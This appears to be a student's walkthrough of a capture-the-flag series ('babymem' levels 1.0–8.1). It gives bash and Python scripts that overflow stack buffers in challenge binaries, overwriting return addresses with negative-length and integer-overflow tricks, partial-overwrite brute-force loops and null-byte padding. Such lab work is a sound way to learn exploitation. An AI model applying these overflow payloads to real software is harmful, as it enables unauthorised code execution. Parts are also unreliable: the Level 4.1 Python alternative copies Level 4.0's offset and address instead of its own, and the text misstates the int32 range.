Memory Errors

Run this command `echo "set disassembly-flavor intel" > ~/.gdbinit` to have intel syntax in gdb

memory.sh `chmod +x ./memory.sh`

```
#!/bin/bash

file="/challenge/*"

payload_size=$1
string=$2
append_string=$(echo -e "$string")

string=$(printf '1%.0s' $(seq 1 $payload_size))

if [[ -n "$append_string" ]]; then
    string="${string}${append_string}"
fi

payload_size=$(($payload_size+${#append_string}))

printf "$payload_size $string" | $file

echo -e '\nThe provided string is:' $string ', length:' $payload_size
```

Level 1.0

`/challenge/babymem_level1.0`

On the last line of the output it's written:
`The "win" variable is stored at 0xXXXXXXXXX, $n bytes after the start of your input buffer.`

The paylod size will be $\$n + 1$. After that just type $\$n + 1$ characters.

Level 1.1

`./memory.sh 49`

at `rbp-0x48` is located the win variable, at `challenge+260`

Level 2.0

`./memory.sh 465`

Level 2.1

`./memory.sh 513`

Level 3.0

`./memory.sh 72 "\x35\x16\x40"`

Level 3.1

`./memory.sh 104 "\x71\x1a\x40"`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x71\x1a\x40

> Easier alternative: **memory.py**
>
> ```python
> import subprocess
>
> file = "/challenge/babymem_level3.1"
>
> payload = b"107\n" # 104 + 3
> payload += b"A" * 104
> payload += b"\x71\x1a\x40"
>
> process = subprocess.Popen(file, stdin=subprocess.PIPE)
> process.communicate(payload)
> ```
>
> `python memory.py`

Level 4.0

Inputting a negative integer works because the check in the `challenge` procedure is always verified (any negative number is smaller than whatever positive constant is being used to do the check). This number, interpreted as a two's complement by the check, is instead read like a giant number by the `read` syscall that gets the payload text.

For example, if I input -2 as my payload length, it's saved in the stack as a 32-bit number in two's complement: `0xFFFFFFFE`. This number is then read by the `read` syscall like $2^{32} - 1$

How is the check implemented here? **[...]**

memory.sh

```bash
#!/bin/bash

file="/challenge/*"

payload_size=$1
payload_size=$((payload_size * -1))
append_string=$(echo -e "\x1b\x22\x40")

string=$(printf '1%.0s' $(seq 1 $(($payload_size * -1))))

if [[ -n "$append_string" ]]; then
    string="${string}${append_string}"
fi

printf "%d %s" "$payload_size" "$string" | $file

echo -e '\nThe provided string is:' $string ', length:' $payload_size
```

`./memory.sh 120`

Easier alternative: **memory.py**

```python
import subprocess

file = "/challenge/babymem_level4.0"

payload = b"-1\n"
payload += b"A" * 120
payload += b"\x1b\x22\x40"

process = subprocess.Popen(file, stdin=subprocess.PIPE)
process.communicate(payload)
```

`python memory.py`

Level 4.1

```bash
#!/bin/bash

file="/challenge/*"

payload_size=$1
payload_size=$((payload_size * -1))
append_string=$(echo -e "\xf3\x15\x40")

string=$(printf '1%.0s' $(seq 1 $(($payload_size * -1))))

if [[ -n "$append_string" ]]; then
    string="${string}${append_string}"
fi

printf "%d %s" "$payload_size" "$string" | $file

echo -e '\nThe provided string is:' $string ', length:' $payload_size
```

`./memory.sh 56`

Easier alternative: **memory.py**

```python
import subprocess

file = "/challenge/babymem_level4.1"

payload = b"-1\n"
payload += b"A" * 120
payload += b"\x1b\x22\x40"

process = subprocess.Popen(file, stdin=subprocess.PIPE)
process.communicate(payload)
```

`python memory.py`

Level 5.0

2 * 2147483648 ($2^{32}/2$) becasue int32 accepts at maximum $2^{32} - 1$

The concept is very similar to the one used in the previous level.

```
#!/bin/bash

file="/challenge/*"

payload_n=2
payload_size=$1
overflowing_payload_size=2147483648
append_string=$(echo -e "\xb5\x1b\x40")

string=$(printf '1%.0s' $(seq 1 $payload_size))

if [[ -n "$append_string" ]]; then
    string="${string}${append_string}"
fi

payload_size=$(($payload_size+${#append_string}))

printf "%d %d %s" "$payload_n" "$overflowing_payload_size" "$string" | $file

echo -e '\nThe provided string is:' $string ', length:' $payload_size
```

`./memory5.sh 120`

> Easier alternative: **memory.py**
>
> ```
> import subprocess
>
> file = "/challenge/babymem_level5.0"
>
> payload = b"2\n2147483648\n" # 2 * 2^31
> payload += b"A" * 120
> payload += b"\xb5\x1b\x40"
>
> process = subprocess.Popen(file, stdin=subprocess.PIPE)
> process.communicate(payload)
> ```
>
> `python memory.py`

Level 5.1

```bash
#!/bin/bash
file="/challenge/*"

payload_n=2
payload_size=$1
overflowing_payload_size=2147483648
append_string=$(echo -e "\x39\x18\x40")
string=$(printf '1%.0s' $(seq 1 $payload_size))

if [[ -n "$append_string" ]]; then
    string="${string}${append_string}"
fi

payload_size=$(($payload_size+${#append_string}))

printf "%d %d %s" "$payload_n" "$overflowing_payload_size" "$string" | $file

echo -e '\nThe provided string is:' $string ', length:' $payload_size
```

`./memory5.sh 56`

> Easier alternative: **memory.py**
>
> ```python
> import subprocess
>
> file = "/challenge/babymem_level5.1"
>
> overflow = 2**31
>
> payload = f"2\n{overflow}\n".encode()
> payload += b"A" * 56
> payload += b"\x39\x18\x40"
>
> process = subprocess.Popen(file, stdin=subprocess.PIPE)
> process.communicate(payload)
> ```
>
> `python memory.py`

Level 6.0

`./memory.sh 72 "\xcc\x1d\x40"`

> Easier alternative: **memory.py**
>
> ```python
> import subprocess
>
> file = "/challenge/babymem_level6.0"
>
> payload = b"75\n"
> payload += b"A" * 72
> payload += b"\xcc\x1d\x40"
>
> process = subprocess.Popen(file, stdin=subprocess.PIPE)
> process.communicate(payload)
> ```
>
> `python memory.py`

Level 6.1

`./memory.sh 104 "\x7d\x22\x40"`

> Easier alternative: **memory.py**
>
> ```python
> import subprocess
>
> file = "/challenge/babymem_level6.1"
>
> payload = b"107\n"
> payload += b"A" * 104
> payload += b"\x7d\x22\x40"
>
> process = subprocess.Popen(file, stdin=subprocess.PIPE)
> process.communicate(payload)
> ```
>
> `python memory.py`

Level 7.0

script.py

```python
import os
import sys
import struct
import subprocess

challenge_dir = "/challenge"
file = os.path.join(challenge_dir, os.listdir(challenge_dir)[0])

buffer_size = int(sys.argv[1])
target_address = 0x23bc

payload = b"A" * (buffer_size)
target_struct = struct.pack("<H", target_address) # H 2byte; I 4byte
payload += target_struct
payload_len = len(payload)

def execute_attack():
    try:
        process = subprocess.Popen([file], stdin=subprocess.PIPE)
        input_data = f"{payload_len}".encode() + b"\n" + payload
        print(input_data)
        process.communicate(input=input_data)
    except Exception as e:
        print(f"error: {e}")

if __name__ == "__main__":
    print(f"Payload generato ({len(payload)} bytes).")
    print(f"Indirizzo di iniezione: {hex(target_address)}")
    execute_attack()
```

`python script.py 136` run it until you get the fourth byte right (1 in 16 chance)

Easier alternative: **memory.py**

```python
import subprocess

file = "/challenge/babymem_level7.0"

payload = b"138\n"
payload += b"A" * 136
payload += b"\xbc\x13"

while True:
 process = subprocess.Popen(file, stdin=subprocess.PIPE)
 process.communicate(payload)
```

`python memory.py | grep pwn`

Level 7.1

`target_address = 0x2eaf`

`python script.py 88` run it until you get the fourth byte right (1 in 16 chance)

Easier alternative: **memory.py**

```python
import subprocess

file = "/challenge/babymem_level7.1"

payload = b"90\n"
payload += b"A" * 88
payload += b"\xaf\x1e"

while True:
 process = subprocess.Popen(file, stdin=subprocess.PIPE)
 process.communicate(payload)
```

`python memory.py | grep pwn`

Level 8.0

script8.py

```python
import os
import sys
import struct
import subprocess

challenge_dir = "/challenge"
file = os.path.join(challenge_dir, os.listdir(challenge_dir)[0])

buffer_size = int(sys.argv[1])
target_address = 0x2989

payload = b"A\x00" * (buffer_size)
target_struct = struct.pack("<H", target_address) # H 2byte; I 4byte
payload += target_struct
payload_len = len(payload)

def execute_attack():
    try:
        process = subprocess.Popen([file], stdin=subprocess.PIPE)
        input_data = f"{payload_len}".encode() + b"\n" + payload
        print(input_data)
        process.communicate(input=input_data)
    except Exception as e:
        print(f"error: {e}")

if __name__ == "__main__":
    print(f"Payload generato ({len(payload)} bytes).")
    print(f"Indirizzo di iniezione: {hex(target_address)}")
    execute_attack()
```

`python script8.py 36` run it until you get the fourth byte right (1 in 16 chance)

> Easier alternative: **memory.py**
>
> ```python
> import subprocess
>
> file = "/challenge/babymem_level8.0"
>
> payload = b"74\n"
> payload += b"\x00" * 72
> payload += b"\x89\x19"
>
> while True:
>  process = subprocess.Popen(file, stdin=subprocess.PIPE)
>  process.communicate(payload)
> ```
>
> `python memory.py | grep pwn`
>
> This works because the check is done using strlen, which stops when it finds a string terminator like /x00

Level 8.1

put `target_address = 0x22e5`

`python script8.py 76` run it until you get the fourth byte right (1 in 16 chance)

> Easier alternative: **memory.py**
>
> ```python
> import subprocess
>
> file = "/challenge/babymem_level8.1"
>
> payload = b"138\n"
> payload += b"\x00" * 136
> payload += b"\xe5\x12"
>
> while True:
>  process = subprocess.Popen(file, stdin=subprocess.PIPE)
>  process.communicate(payload)
> ```
>
> `python memory.py | grep pwn`

`python memory.py | grep pwn`